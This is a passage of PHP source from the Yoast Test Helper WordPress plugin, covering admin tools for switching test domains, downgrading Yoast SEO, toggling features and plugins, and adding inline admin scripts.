\esc_html__( 'Switch to AI staging API', 'yoast-test-helper' ), $this->option->get( 'use_ai_staging_api' ) ); return Form_Presenter::get_html( \__( 'Development settings', 'yoast-test-helper' ), 'yoast_seo_test_development_mode', $fields ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_test_development_mode' ) !== false ) { $this->set_bool_option( 'enable_development_mode' ); $this->set_bool_option( 'use_ai_staging_api' ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Uses the AI staging API. * * @return string */ public function use_ai_staging_api() { return 'https://ai-staging.yoa.st/api/v1'; } /** * Sets a boolean option based on a POST parameter. * * @param string $option The option to check and set. */ private function set_bool_option( $option ) { // The nonce is checked in the handle_submit function. // phpcs:ignore WordPress.Security.NonceVerification.Missing $this->option->set( $option, isset( $_POST[ $option ] ) ); } } src/domain-dropdown.php 0000644 00000010105 15004110556 0011137 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Sends myYoast requests to a chosen testing domain. */ class Domain_Dropdown implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Registers WordPress hooks. * * @return void */ public function add_hooks() { \add_action( 'admin_post_yoast_seo_domain_dropdown', [ $this, 'handle_submit' ] ); $domain = $this->option->get( 'myyoast_test_domain' ); if ( ! empty( $domain ) && $domain !== 'https://my.yoast.com' ) { \add_action( 'requests-requests.before_request', [ $this, 'modify_myyoast_request' ], 10, 2 ); } else { \remove_action( 'requests-requests.before_request', [ $this, 'modify_myyoast_request' ], 10 ); } } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $select_options = [ 'https://my.yoast.com' => 'live', 'https://staging-my.yoast.com' => 'staging', 'https://staging-plugins-my.yoast.com' => 'staging-plugins', 'https://staging-platform-my.yoast.com' => 'staging-platform', 'http://my.yoast.test:3000' => 'local', ]; $output = Form_Presenter::create_select( 'myyoast_test_domain', \esc_html__( 'Set the myYoast testing domain to: ', 'yoast-test-helper' ), $select_options, $this->option->get( 'myyoast_test_domain' ) ); return Form_Presenter::get_html( \__( 'Domain Dropdown', 'yoast-test-helper' ), 'yoast_seo_domain_dropdown', $output ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( ! \check_admin_referer( 'yoast_seo_domain_dropdown' ) && ! isset( $_POST['myyoast_test_domain'] ) ) { return; } if ( isset( $_POST['myyoast_test_domain'] ) && \is_string( $_POST['myyoast_test_domain'] ) ) { $myyoast_test_domain = \sanitize_text_field( \wp_unslash( $_POST['myyoast_test_domain'] ) ); $this->option->set( 'myyoast_test_domain', $myyoast_test_domain ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * If a testing domain is set, modify any request to myYoast to go to the testing domain. * Attached to the `requests-requests.before_request` filter. * * @param string $url URL of the request about to be made. * @param array $headers Headers of the request about to be made. * @return void */ public function modify_myyoast_request( &$url, &$headers ) { $domain = $this->option->get( 'myyoast_test_domain' ); if ( empty( $domain ) || $domain === 'https://my.yoast.com' ) { return; } $original_url = $url; $request_parameters = $this->replace_domain( $domain, $url, $headers ); $url = $request_parameters['url']; if ( $request_parameters['host'] ) { $headers['Host'] = $request_parameters['host']; if ( \defined( 'WP_DEBUG' ) && \WP_DEBUG ) { // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log \error_log( \sprintf( "SANDBOXING via '%s': '%s'", $domain, $original_url ) ); } } } /** * Replace the domain of the url with the passed domain for my-yoast urls. * * @param string $domain Testing domain to take place in the request. * @param string $url URL of request about to be made. * @param array $headers Headers of request about to be made. * @return array [ 'url' => new URL, 'host' => new Host ] */ private function replace_domain( $domain, $url, $headers ) { $host = ''; $url_host = \wp_parse_url( $url, \PHP_URL_HOST ); $new_host = \wp_parse_url( $domain, \PHP_URL_HOST ); if ( $new_host === false || $new_host === null ) { $new_host = ''; } if ( $url_host === 'my.yoast.com' ) { $host = isset( $headers['Host'] ) ? $headers['Host'] : $new_host; $url = \str_replace( 'https://' . $url_host, $domain, $url ); } return [ 'url' => $url, 'host' => $host, ]; } } src/downgrader.php 0000644 00000014055 15004110556 0010202 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use Automatic_Upgrader_Skin; use Exception; use WP_Upgrader; use WPSEO_Options; use Yoast\WP\Lib\Migrations\Adapter; use Yoast\WP\SEO\Config\Migration_Status; use Yoast\WP\SEO\Loader; use ZipArchive; /** * Downgrader class. */ class Downgrader implements Integration { /** * Registers WordPress hooks. * * @return void */ public function add_hooks() { \add_action( 'admin_post_yoast_rollback_control', [ $this, 'handle_submit' ] ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $option = 'target_version'; $output = \sprintf( '<label for="%1$s">%2$s</label>', $option, \__( 'Downgrade to version: ', 'yoast-test-helper' ) ); $output .= \sprintf( '<input name="%1$s" id="%1$s" type="text"></input><br />', $option ); $title = \sprintf( /* translators: %1$s is Yoast SEO. */ \__( 'Downgrade %1$s', 'yoast-test-helper' ), 'Yoast SEO' ); return Form_Presenter::get_html( $title, 'yoast_rollback_control', $output ); } /** * Handles the form submission. * * @return void */ public function handle_submit() { if ( ! \check_admin_referer( 'yoast_rollback_control' ) ) { return; } if ( ! isset( $_POST['target_version'] ) || ! \is_string( $_POST['target_version'] ) ) { return; } $target_version = \sanitize_text_field( \wp_unslash( $_POST['target_version'] ) ); try { $this->downgrade( $target_version ); \do_action( 'Yoast\WP\Test_Helper\notification', new Notification( \sprintf( /* translators: %1$s is Yoast SEO, %2$s is the version number it was downgraded to. */ \__( '%1$s has been succesfully downgraded to version %2$s.', 'yoast-test-helper' ), 'Yoast SEO', $target_version ), 'success' ) ); } catch ( Exception $e ) { \do_action( 'Yoast\WP\Test_Helper\notification', new Notification( $e->getMessage(), 'error' ) ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Downgrades the Yoast SEO version. * * @param string $target_version The version to downgrade to. * * @return void * * @throws Exception If the downgrade fails. */ protected function downgrade( $target_version ) { if ( ! \preg_match( '/^\d+\.\d+$/', $target_version ) ) { throw new Exception( \__( 'An invalid version number was passed.', 'yoast-test-helper' ) ); } if ( \version_compare( $target_version, '14.1', '<' ) ) { throw new Exception( \__( 'Downgrading to below 14.1 is not supported', 'yoast-test-helper' ) ); } require_once \ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader = new WP_Upgrader( new Automatic_Upgrader_Skin() ); $upgrader->fs_connect(); $downloaded_archive = $upgrader->download_package( "https://downloads.wordpress.org/plugin/wordpress-seo.$target_version.zip" ); if ( \is_wp_error( $downloaded_archive ) ) { throw new Exception( \__( 'The requested version could not be downloaded', 'yoast-test-helper' ) ); } // Open the downloaded archive. $zip = new ZipArchive(); $zip->open( $downloaded_archive ); $all_migration_files = \glob( \WPSEO_PATH . 'src/config/migrations/*.php' ); // Find all migrations that are not in the downgraded archive. $migrations_to_downgrade = []; foreach ( $all_migration_files as $migration_file ) { $migration_file = \str_replace( \WPSEO_PATH, '', $migration_file ); if ( ! $zip->getFromName( 'wordpress-seo/' . $migration_file ) ) { $basename = \basename( $migration_file, '.php' ); $version = \explode( '_', $basename )[0]; $migrations_to_downgrade[] = $version; } } // Migrations should be downgraded from last to first. \sort( $migrations_to_downgrade, \SORT_STRING ); $migrations_to_downgrade = \array_reverse( $migrations_to_downgrade ); $loader = \YoastSEO()->classes->get( Loader::class ); $adapter = \YoastSEO()->classes->get( Adapter::class ); $migration_status = \YoastSEO()->classes->get( Migration_Status::class ); $migrations = $loader->get_migrations( 'free' ); if ( ! $migration_status->lock_migration( 'free' ) ) { throw new Exception( \__( 'A migration is already in progress. Please try again later.', 'yoast-test-helper' ) ); } // Downgrade all migrations. foreach ( $migrations_to_downgrade as $version ) { $class = $migrations[ $version ]; try { $migration = new $class( $adapter ); $adapter->start_transaction(); $migration->down(); $adapter->remove_version( $version ); $adapter->commit_transaction(); } catch ( Exception $e ) { $adapter->rollback_transaction(); throw new Exception( \sprintf( /* translators: %1$s is the class name of the migration that failed, %2$s is the message given by the failure. */ \__( 'Migration %1$s failed with the message: %2$s', 'yoast-test-helper' ), $class, $e->getMessage() ), 0, $e ); } } $migration_status->set_success( 'free', $target_version ); $working_dir = $upgrader->unpack_package( $downloaded_archive, true ); if ( \is_wp_error( $working_dir ) ) { throw new Exception( \__( 'Could not unpack the requested version.', 'yoast-test-helper' ) ); } $result = $upgrader->install_package( [ 'source' => $working_dir, 'destination' => \WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => [ 'type' => 'plugin', 'action' => 'install', ], ] ); if ( \is_wp_error( $result ) ) { throw new Exception( \__( 'Could not install the requested version.', 'yoast-test-helper' ) ); } $downgrade_version = static function( $option ) use ( $target_version ) { $option['version'] = \sanitize_text_field( $target_version ); return $option; }; \add_filter( 'sanitize_option_wpseo', $downgrade_version, 20 ); WPSEO_Options::set( 'version', $target_version ); \remove_filter( 'sanitize_option_wpseo', $downgrade_version ); } } src/feature-toggler.php 0000644 00000004311 15004110556 0011134 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Toggles the features on and off. */ class Feature_Toggler implements Integration { /** * The features to toggle. * * @var string[] */ private $features = []; /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Registers WordPress hooks. * * @return void */ public function add_hooks() { \add_filter( 'wpseo_enable_feature', [ $this, 'enable_features' ] ); \add_action( 'admin_post_yoast_seo_feature_toggler', [ $this, 'handle_submit' ] ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { if ( $this->features === [] ) { return ''; } $fields = ''; foreach ( $this->features as $feature => $label ) { $key = 'feature_toggle_' . $feature; $fields .= Form_Presenter::create_checkbox( $key, /* translators: %s expands to the label. */ \sprintf( \esc_html__( 'Enable %s', 'yoast-test-helper' ), $label ), $this->option->get( $key ) ); } return Form_Presenter::get_html( \__( 'Feature toggler', 'yoast-test-helper' ), 'yoast_seo_feature_toggler', $fields ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_feature_toggler' ) !== false ) { foreach ( $this->features as $feature => $label ) { $key = 'feature_toggle_' . $feature; $this->option->set( $key, isset( $_POST[ $key ] ) ); } } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Enable a feature in the plugin. * * @param string[] $feature_array The array of enabled features. * * @return string[] The modified array of enabled features. */ public function enable_features( $feature_array ) { foreach ( $this->features as $feature => $label ) { if ( $this->option->get( 'feature_toggle_' . $feature ) ) { $feature_array[] = $feature; } } return $feature_array; } } src/form-presenter.php 0000644 00000005071 15004110556 0011014 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Renders the generic form code. */ class Form_Presenter { /** * Retrieves the HTML for a form. * * @param string $title The title for the form. * @param string $nonce_field The name of the nonce field. * @param string $fields Fields to render in the form. * @param bool $submit Show the submit field or not. * * @return string The HTML to render the form. */ public static function get_html( $title, $nonce_field, $fields, $submit = true ) { $field = \esc_attr( $nonce_field ); $output = '<h2>' . \esc_html( $title ) . '</h2>'; $output .= '<form action="' . \esc_url( \admin_url( 'admin-post.php' ) ) . '" method="POST">'; $output .= \str_replace( 'id="_wpnonce"', '', \wp_nonce_field( $nonce_field, '_wpnonce', true, false ) ); $output .= '<input type="hidden" name="action" value="' . $field . '">'; $output .= $fields; if ( $submit ) { $output .= '<button id="' . $field . '_save" class="button" type="submit">' . \esc_html__( 'Save', 'yoast-test-helper' ) . '</button>'; } $output .= '</form>'; return $output; } /** * Builds a checkbox element. * * @param string $option The option to make a checkbox for. * @param string $label The label for the checkbox. * @param bool $checked If the checkbox should be checked or not. * * @return string The checkbox & label HTML. */ public static function create_checkbox( $option, $label, $checked = false ) { $checked_html = \checked( $checked, true, false ); $output = \sprintf( '<input type="checkbox" ' . $checked_html . ' name="%1$s" id="%1$s"/>', $option ); $output .= \sprintf( '<label for="%1$s">%2$s</label><br/>', $option, $label ); return $output; } /** * Builds a select element. * * @param string $option The option to make a checkbox for. * @param string $label The label for the checkbox. * @param string[] $options The options of the select. * @param bool $selected The selected option. * * @return string The select & label HTML. */ public static function create_select( $option, $label, $options, $selected = false ) { $output = \sprintf( '<label for="%1$s">%2$s</label>', $option, $label ); $output .= \sprintf( '<select name="%1$s" id="%1$s">', $option ); foreach ( $options as $value => $option_label ) { $selected_html = \selected( $selected === $value, true, false ); $output .= \sprintf( '<option ' . $selected_html . ' value="%1$s">%2$s</option>', $value, $option_label ); } $output .= '</select><br/>'; return $output; } } src/indexing-reason-integration.php 0000644 00000001764 15004110556 0013464 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Adds a filter to change the alert based on the saved set indexing reason. */ class Indexing_Reason_Integration implements Integration { /** * Registers the hook to set the indexing reason. */ public function add_hooks() { \add_filter( 'wpseo_indexables_indexation_alert', [ $this, 'set_indexing_alert' ], 10, 2 ); } /** * Sets the indexing alert to something more specific when the reason is an indexables reset. * * @param string $alert The current content of alert. * @param string $reason The reason to show the alert for. * * @return string The reason to show. */ public function set_indexing_alert( $alert, $reason ) { if ( $reason !== 'indexables-reset-by-test-helper' ) { return $alert; } return \sprintf( /* translators: %1$s: Yoast Test Helper */ \esc_html__( 'Because some of your SEO data was reset by the %1$s, your SEO data needs to be reprocessed.', 'yoast-test-helper' ), 'Yoast Test Helper' ); } } src/inline-script.php 0000644 00000007215 15004110556 0010626 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Class to add an inline script after a wordpress-seo script. */ class Inline_Script implements Integration { /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { \add_action( 'admin_enqueue_scripts', [ $this, 'add_inline_script' ] ); \add_action( 'admin_post_yoast_seo_test_inline_script', [ $this, 'handle_submit' ] ); } /** * Add an inline script after the specified script. */ public function add_inline_script() { if ( $this->option->get( 'add_inline_script' ) !== true ) { return; } \wp_add_inline_script( $this->option->get( 'inline_script_handle' ), $this->option->get( 'inline_script' ) ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $output = Form_Presenter::create_checkbox( 'add_inline_script', \esc_html__( 'Add the inline script specified below after the script selected here.', 'yoast-test-helper' ), $this->option->get( 'add_inline_script' ) ) . '<br/>'; $output .= '<label for="inline_script_handle">' . \__( 'After script', 'yoast-test-helper' ) . ': </label>'; $output .= $this->select_script( $this->option->get( 'inline_script_handle' ) ); $output .= '<br><br>'; $value = $this->option->get( 'inline_script' ); $output .= '<label for="inline_script">'; /* translators: %1$s expands to the `script` tag. */ $output .= \sprintf( \esc_html__( 'Script (do not include %1$s tags):', 'yoast-test-helper' ), '<code><script></code>' ); $output .= '</label><br/>'; $output .= '<textarea style="width: 100%; min-height: 300px; font-family: monospace;" name="inline_script" id="inline_script">' . \esc_html( $value ) . '</textarea><br/>'; return Form_Presenter::get_html( \__( 'Inline script', 'yoast-test-helper' ), 'yoast_seo_test_inline_script', $output ); } /** * Handles the form submit for adding inline script. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_test_inline_script' ) !== false ) { $this->option->set( 'add_inline_script', isset( $_POST['add_inline_script'] ) ); if ( isset( $_POST['inline_script_handle'] ) && \is_string( $_POST['inline_script_handle'] ) ) { $inline_script_handle = \sanitize_text_field( \wp_unslash( $_POST['inline_script_handle'] ) ); $this->option->set( 'inline_script_handle', $inline_script_handle ); } if ( isset( $_POST['inline_script'] ) && \is_string( $_POST['inline_script'] ) ) { $inline_script = \sanitize_text_field( \wp_unslash( $_POST['inline_script'] ) ); $this->option->set( 'inline_script', $inline_script ); } } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Return a select with all the scripts currently registered to WP. * * @param string $value The currently selected value, if any. * * @return string */ private function select_script( $value ) { $output = '<select name="inline_script_handle" id="inline_script_handle">'; $scripts = \wp_scripts(); foreach ( \array_keys( $scripts->registered ) as $script ) { $sel = ''; if ( $value === $script ) { $sel = 'selected'; } $output .= '<option value="' . \esc_attr( $script ) . '" ' . $sel . '>' . \esc_html( $script ) . '</option>'; } $output .= '</select>'; return $output; } } src/integration-interface.php 0000644 00000000327 15004110556 0012324 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * WordPress Integration interface. */ interface Integration { /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks(); } src/notification.php 0000644 00000001476 15004110556 0010537 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Test Helper Notification. */ class Notification { /** * The notification copy. * * @var string */ protected $message = ''; /** * The type of the notification. * * @var string */ protected $type = ''; /** * Constructs a notification. * * @param string $message Notification message. * @param string $type Notification type. */ public function __construct( $message, $type = 'info' ) { $this->message = $message; $this->type = $type; } /** * Returns the notification type. * * @return string The notification type. */ public function get_type() { return $this->type; } /** * Returns the notification copy. * * @return string The notification copy. */ public function get_message() { return $this->message; } } src/option.php 0000644 00000002752 15004110556 0007357 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; /** * Class to manage registering and rendering the admin page in WordPress. */ class Option { /** * The name of our option. * * @var string */ private $option_name; /** * Holds our options. * * @var array */ private $options; /** * Option constructor. * * @param string $option_name The option to construct for. */ public function __construct( $option_name = 'yoast_test_helper' ) { $this->option_name = $option_name; $this->options = $this->get_option(); } /** * Retrieve a single option. * * @param string $key The key to retrieve. * * @return mixed|null The content of the retrieved key. */ public function get( $key ) { return isset( $this->options[ $key ] ) ? $this->options[ $key ] : null; } /** * Sets a single option. * * @param string $key The key to set. * @param mixed $value The value to set key to. * * @return mixed|null The content of the retrieved key. */ public function set( $key, $value ) { $this->options[ $key ] = $value; return $this->save_options(); } /** * Returns the Test Helper option. * * @return array The Test Helper options. */ private function get_option() { return \get_option( $this->option_name ); } /** * Sets the Test Helper option. * * @return bool False if value was not updated and true if value was updated. */ private function save_options() { return \update_option( $this->option_name, $this->options, true ); } } src/plugin-toggler.php 0000644 00000026547 15004110556 0011016 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use WPSEO_Utils; /** * Toggles between plugins. */ class Plugin_Toggler implements Integration { /** * The plugins per group. * * @var array */ private $plugin_groups = []; /** * Regex with groups to filter the available plugins by name. * * @var string */ private $grouped_name_filter = '/^(Yoast SEO)$|^(Yoast SEO)[^:]{1}/'; /** * Holds our option instance. * * @var Option */ private $option; /** * Class constructor. * * @param Option $option Our option array. */ public function __construct( Option $option ) { $this->option = $option; } /** * Constructs the object and set init hook. * * @return void */ public function add_hooks() { \add_action( 'plugins_loaded', [ $this, 'init' ] ); \add_action( 'admin_post_yoast_seo_plugin_toggler', [ $this, 'handle_submit' ] ); } /** * Initialize plugin. * * Check for rights and look which plugin is active. * Also adding hooks * * @return void */ public function init() { if ( ! $this->has_rights() ) { return; } if ( $this->option->get( 'plugin_toggler' ) !== true ) { return; } // Load WordPress core plugin.php when needed. if ( ! \function_exists( 'is_plugin_active' ) || ! \function_exists( 'get_plugins' ) ) { include_once \ABSPATH . 'wp-admin/includes/plugin.php'; } // Apply filters to adapt the $this->grouped_name_filter property. $this->grouped_name_filter = \apply_filters( 'Yoast\WP\Test_Helper\plugin_toggler_filter', $this->grouped_name_filter ); $this->init_plugin_groups(); // Adding the hooks. $this->add_additional_hooks(); } /** * Adds the toggle fields to the page. * * @return void */ public function add_toggle() { $nonce = \wp_create_nonce( 'yoast-plugin-toggle' ); /** \WP_Admin_Bar $wp_admin_bar */ global $wp_admin_bar; // Add a menu for each group. foreach ( $this->plugin_groups as $group => $plugins ) { $active_plugin = $this->get_active_plugin( $group ); $menu_id = 'wpseo-plugin-toggler-' . \sanitize_title( $group ); $menu_title = $active_plugin; // Menu title fallback: active plugin > group > first plugin. if ( $menu_title === '' ) { $menu_title = $group; if ( $menu_title === '' ) { \reset( $plugins ); $menu_title = \key( $plugins ); } } $wp_admin_bar->add_menu( [ 'parent' => false, 'id' => $menu_id, 'title' => $menu_title, 'href' => '#', ] ); // Add a node for each plugin. foreach ( $plugins as $plugin => $plugin_path ) { if ( $plugin === $active_plugin ) { continue; } $wp_admin_bar->add_node( [ 'parent' => $menu_id, 'id' => 'wpseo-plugin-toggle-' . \sanitize_title( $plugin ), 'title' => 'Switch to ' . $plugin, 'href' => '#', 'meta' => [ 'onclick' => \sprintf( 'Yoast_Plugin_Toggler.toggle_plugin( "%1$s", "%2$s", "%3$s" )', $group, $plugin, $nonce ), ], ] ); } } } /** * Adding the assets to the page. * * @return void */ public function add_assets() { // JS file. \wp_enqueue_script( 'yoast-toggle-script', \plugin_dir_url( \YOAST_TEST_HELPER_FILE ) . 'assets/js/yoast-toggle.js', [], \YOAST_TEST_HELPER_VERSION, true ); } /** * Toggle between the plugins. * * The active plugin will be deactivated. The inactive plugin will be printed as JSON and will be used to active * this plugin in another AJAX request. * * @return void */ public function ajax_toggle_plugin() { $response = []; // If nonce is valid. // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- The nonce is verified in a different method. if ( $this->verify_nonce() && isset( $_GET['group'] ) && \is_string( $_GET['group'] && isset( $_GET['plugin'] ) && \is_string( $_GET['plugin'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- The nonce is verified above. $group = \sanitize_text_field( \wp_unslash( $_GET['group'] ) ); // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- The nonce is verified above. $plugin = \sanitize_text_field( \wp_unslash( $_GET['plugin'] ) ); // First deactivate the current plugin. $this->deactivate_plugin_group( $group ); $this->activate_plugin( $group, $plugin ); $response = [ 'activated_plugin' => [ 'group' => $group, 'plugin' => $plugin, ], ]; } // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- The util takes care of escaping. echo WPSEO_Utils::format_json_encode( $response ); die(); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $fields = Form_Presenter::create_checkbox( 'plugin_toggler', \esc_html__( 'Show plugin toggler.', 'yoast-test-helper' ), $this->option->get( 'plugin_toggler' ) ); return Form_Presenter::get_html( \__( 'Plugin toggler', 'yoast-test-helper' ), 'yoast_seo_plugin_toggler', $fields ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( \check_admin_referer( 'yoast_seo_plugin_toggler' ) !== false ) { $this->option->set( 'plugin_toggler', isset( $_POST['plugin_toggler'] ) ); } \wp_safe_redirect( \self_admin_url( 'tools.php?page=' . \apply_filters( 'Yoast\WP\Test_Helper\admin_page', '' ) ) ); } /** * Check if there are enough rights to display the toggle * * If current page is adminpage and current user can activatie plugins return true * * @return bool True if the rights are present. */ private function has_rights() { return ( \is_admin() && \current_user_can( 'activate_plugins' ) ); } /** * Retrieves a grouped and filtered list of installed plugins. * * Uses WordPress's 'get_plugins' for the list of installed plugins. * Uses $this->grouped_name_filter regex to get the group. * * Example: * <code> * $this->grouped_name_filter = '/^(Yoast SEO)$|^(Yoast SEO)[^:]{1}/' * $plugin_groups = array( * 'Yoast SEO' => array( * 'Yoast SEO' => 'wordpress-seo/wp-seo.php', * 'Yoast SEO 8.4' => 'wordpress-seo 8.4/wp-seo.php', * 'Yoast SEO Premium' => 'wordpress-seo-premium/wp-seo-premium.php', * 'Yoast SEO Premium 8.4' => 'wordpress-seo-premium 8.4/wp-seo-premium.php', * ), * ); * </code> * * @return array The plugins grouped by the regex matches. */ private function get_plugin_groups() { // Use WordPress to get all the plugins with their data. $plugins = \get_plugins(); $plugin_groups = []; foreach ( $plugins as $file => $data ) { $plugin = $data['Name']; $group = $this->get_group_from_plugin_name( $plugin ); if ( $group === '' ) { continue; } // Save the plugin under a group. if ( ! isset( $plugin_groups[ $group ] ) ) { $plugin_groups[ $group ] = []; } $plugin_groups[ $group ][ $plugin ] = $file; } return $plugin_groups; } /** * Retrieves the group of the plugin via a regular expression. * * Example filter: * $grouped_name_filter = '/^(Yoast SEO)$|^(Yoast SEO)[^:]{1}/' * * @param string $plugin_name The plugin name. * * @return string The group. */ private function get_group_from_plugin_name( $plugin_name ) { $matches = []; if ( \preg_match( $this->grouped_name_filter, $plugin_name, $matches ) ) { foreach ( $matches as $match ) { if ( $match !== '' ) { return \trim( $match ); } } } return ''; } /** * Retrieves a list of installed plugins, pruned by group. * * @param array $plugin_groups Plugins to filter for installed plugins. * @param bool $prune Whether to prune the groups if they contain less than 2 plugins. Defaults to true. * * @return array Plugins that are actually installed. */ private function check_plugins( array $plugin_groups, $prune = true ) { $installed = []; foreach ( $plugin_groups as $group => $plugins ) { foreach ( $plugins as $plugin => $plugin_path ) { $full_plugin_path = \ABSPATH . 'wp-content/plugins/' . \plugin_basename( $plugin_path ); // Add the plugin to the group if it exists. if ( \file_exists( $full_plugin_path ) ) { $installed[ $group ][ $plugin ] = $plugin_path; } } if ( $prune ) { // Remove the group entirely if there are less than 2 plugins in it. if ( \count( $installed[ $group ] ) < 2 ) { unset( $installed[ $group ] ); } } } return $installed; } /** * Retrieves the active plugin of a group. First hit if there are multiple. * * @param string $group The group of to check. * * @return string The plugin name or an empty string. */ private function get_active_plugin( $group ) { if ( ! \array_key_exists( $group, $this->plugin_groups ) ) { return ''; } $plugins = $this->plugin_groups[ $group ]; foreach ( $plugins as $plugin => $plugin_path ) { if ( \is_plugin_active( $plugin_path ) ) { return $plugin; } } return ''; } /** * Adding the hooks. * * @return void */ private function add_additional_hooks() { // Setting AJAX-request to toggle the plugin. \add_action( 'wp_ajax_toggle_plugin', [ $this, 'ajax_toggle_plugin' ] ); // Adding assets. \add_action( 'admin_init', [ $this, 'add_assets' ] ); \add_action( 'admin_bar_menu', [ $this, 'add_toggle' ], 100 ); } /** * Activates a plugin of a specific group. * * @param string $group Group to activate a plugin of. * @param string $plugin Plugin to activate. * * @return void */ private function activate_plugin( $group, $plugin ) { if ( ! \array_key_exists( $group, $this->plugin_groups ) ) { return; } if ( ! \array_key_exists( $plugin, $this->plugin_groups[ $group ] ) ) { return; } $plugin_path = $this->plugin_groups[ $group ][ $plugin ]; \activate_plugin( \plugin_basename( $plugin_path ), '', false, true ); } /** * Deactivates the plugins in a specific group. * * This will be performed in silent mode. * * @param string $group Group to deactivate the plugins of. * * @return void */ private function deactivate_plugin_group( $group ) { if ( ! \array_key_exists( $group, $this->plugin_groups ) ) { return; } $plugins = $this->plugin_groups[ $group ]; foreach ( $plugins as $plugin_path ) { if ( \is_plugin_active( $plugin_path ) ) { \deactivate_plugins( \plugin_basename( $plugin_path ), true ); } } } /** * Verify the set nonce with the posted one * * @return bool True if verified. */ private function verify_nonce() { // If nonce is valid return true. // phpcs:ignore WordPress.Security.NonceVerification.Recommended, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- The nonce does not need sanitization. if ( isset( $_GET['ajax_nonce'] ) && \wp_verify_nonce( $_GET['ajax_nonce'], 'yoast-plugin-toggle' ) ) { return true; } return false; } /** * Initializes the plugin groups. * * @return void */ private function init_plugin_groups() { // Find the plugin groups. $plugin_groups = $this->get_plugin_groups(); // Apply filters to extend the $this->plugin_groups property. $plugin_groups = (array) \apply_filters( 'Yoast\WP\Test_Helper\plugin_toggle_extend', $plugin_groups ); // Check the plugins after the filter. $this->plugin_groups = $this->check_plugins( $plugin_groups ); } } src/plugin-version-control.php 0000644 00000015355 15004110556 0012511 0 ustar 00 <?php namespace Yoast\WP\Test_Helper; use Yoast\WP\Test_Helper\WordPress_Plugins\WordPress_Plugin; /** * Adds the plugin version controls to the admin page. */ class Plugin_Version_Control implements Integration { /** * The plugin version instance to use. * * @var WordPress_Plugin_Version */ protected $plugin_version; /** * The plugin options to use. * * @var WordPress_Plugin_Options */ protected $plugin_options; /** * The list of plugins to use. * * @var WordPress_Plugin[] */ protected $plugins; /** * WordPress_Plugin_Version_Control constructor. * * @param array $plugins Plugins to use. * @param WordPress_Plugin_Version $plugin_version Plugin version to use. * @param WordPress_Plugin_Options $plugin_options Plugin options to use. */ public function __construct( array $plugins, WordPress_Plugin_Version $plugin_version, WordPress_Plugin_Options $plugin_options ) { $this->plugins = $plugins; $this->plugin_version = $plugin_version; $this->plugin_options = $plugin_options; } /** * Registers WordPress hooks and filters. * * @return void */ public function add_hooks() { \add_action( 'admin_post_yoast_version_control', [ $this, 'handle_submit' ] ); } /** * Retrieves the controls. * * @return string The HTML to use to render the controls. */ public function get_controls() { $output = '<table>'; $output .= '<thead><tr>'; $output .= '<th style="text-align:left;">' . \__( 'Plugin', 'yoast-test-helper' ) . '</th>'; $output .= '<th style="text-align:left;">' . \__( 'DB Version', 'yoast-test-helper' ) . '</th>'; $output .= '<th style="text-align:left;">' . \__( 'Real', 'yoast-test-helper' ) . '</th>'; $output .= '<th style="text-align:left;">' . \__( 'Saved options', 'yoast-test-helper' ) . '</th>'; $output .= '</tr></thead>'; foreach ( $this->plugins as $plugin ) { $output .= $this->get_plugin_option( $plugin ); } $output .= '</table>'; return Form_Presenter::get_html( \__( 'Plugin options & database versions', 'yoast-test-helper' ), 'yoast_version_control', $output ); } /** * Handles the form submit. * * @return void */ public function handle_submit() { if ( ! $this->load_history() && \check_admin_referer( 'yoast_version_control' ) !== false ) { foreach ( $this->plugins as $plugin ) { // phpcs:ignore 